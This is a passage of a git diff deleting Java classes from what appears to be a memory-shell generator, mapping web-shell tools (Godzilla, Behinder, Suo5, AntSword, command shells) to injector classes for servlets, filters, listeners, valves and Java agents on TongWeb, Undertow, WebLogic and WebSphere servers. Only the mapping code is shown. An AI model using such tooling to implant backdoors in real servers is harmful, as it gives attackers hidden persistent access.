Pair.of(GodzillaServlet.class, TomcatServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); - return map; - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java deleted file mode 100644 index 8ac47f71..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6; -import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; -import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; -import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; -import com.reajason.javaweb.memshell.tongweb.injector.*; -import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class TongWeb6Shell extends AbstractShell { - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java deleted file mode 100644 index 0852a2d5..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; -import com.reajason.javaweb.memshell.tomcat.command.CommandListener; -import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7; -import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; -import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; -import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; -import com.reajason.javaweb.memshell.tongweb.injector.*; -import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/26 - */ -public class TongWeb7Shell extends AbstractShell { - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class)); - map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class)); - map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class)); - map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class)); - map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java deleted file mode 100644 index ef5fd339..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java +++ /dev/null @@ -1,100 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor; -import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener; -import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor; -import com.reajason.javaweb.memshell.undertow.command.CommandListener; -import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor; -import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor; -import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector; -import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector; -import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector; -import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector; -import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/10 - */ -public class UndertowShell extends AbstractShell { - public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)); - map.put(AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)); - map.put(AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class)); - map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class)); - map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class)); - map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class)); - map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class)); - map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java deleted file mode 100644 index 8e2d9fb2..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebLogicShell.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener; -import com.reajason.javaweb.memshell.weblogic.command.CommandListener; -import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector; -import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector; -import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector; -import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector; -import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/24 - */ -public class WebLogicShell extends AbstractShell { - public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)); - map.put(AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)); - map.put(AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)); - map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class)); - map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class)); - map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class)); - map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class)); - return map; - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java deleted file mode 100644 index 04a6dc75..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/WebSphereShell.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.reajason.javaweb.memshell; - -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; -import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.CommandServlet; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener; -import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener; -import com.reajason.javaweb.memshell.websphere.command.CommandListener; -import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener; -import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector; -import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector; -import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector; -import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector; -import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener; -import org.apache.commons.lang3.tuple.Pair; - -import java.util.LinkedHashMap; -import java.util.Map; - -import static com.reajason.javaweb.memshell.config.Constants.*; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class WebSphereShell extends AbstractShell { - public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager"; - - @Override - protected Map, Class>> getCommandShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class)); - map.put(FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class)); - map.put(LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)); - map.put(AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getGodzillaShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class)); - map.put(FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class)); - map.put(LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)); - map.put(AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getBehinderShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class)); - map.put(FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class)); - map.put(LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)); - map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)); - return map; - } - - @Override - protected Map, Class>> getSuo5ShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class)); - map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class)); - map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class)); - return map; - } - - @Override - protected Map, Class>> getAntSwordShellMap() { - Map, Class>> map = new LinkedHashMap<>(); - map.put(SERVLET, 